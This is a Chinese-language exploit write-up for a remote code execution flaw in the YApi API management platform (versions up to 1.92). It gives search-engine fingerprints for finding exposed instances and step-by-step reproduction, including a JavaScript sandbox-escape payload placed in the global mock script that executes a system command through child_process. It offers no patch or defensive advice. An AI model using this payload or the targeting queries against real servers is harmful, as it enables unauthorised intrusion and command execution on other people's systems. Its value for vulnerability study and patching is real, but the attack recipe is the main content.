一、简介
YAPI是由去哪儿网移动架构组(简称YMFE,一群由FE、iOS和Android工程师共同组成的最具想象力、创造力和影响力的大前端团队)开发的可视化接口管理工具,是一个可本地部署的、打通前后端及QA的接口管理平台。YAPI旨在为开发、产品和测试人员提供更优雅的接口管理服务,可以帮助开发者轻松创建、发布和维护不同项目,不同平台的API。有了YAPI,我们可以很方便的测试、管理和维护多个项目的API接口,不像Swagger那样是随应用生和灭的(且线上环境下大多数须关闭),YAPI是一个独立的服务平台。
二、影响版本和危害
YApi<=V1.92 All
YApi 是高效、易用、功能强大的 api 管理平台。但因为大量用户使用 YAPI的默认配置并允许从外部网络访问。
YApi服务,导致攻击者注册用户后,即可通过 Mock功能远程执行任意代码。
三、资产查询
icon_hash=“-715193973”
app=“YApi”
四、漏洞复现
1、目标网站,注册用户
2、点击添加项目
3、输入项目名称,点击创建项目
4、在全局mock脚本中写入POC并保存
const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor(‘return process’)
const process = myfun()
mockJson = process.mainModule.require(“child_process”).execSync(“whoami”).toString()
5、接口处填写内容并提交
6、点击接口名称
7、点击mock地址
8、命令执行成功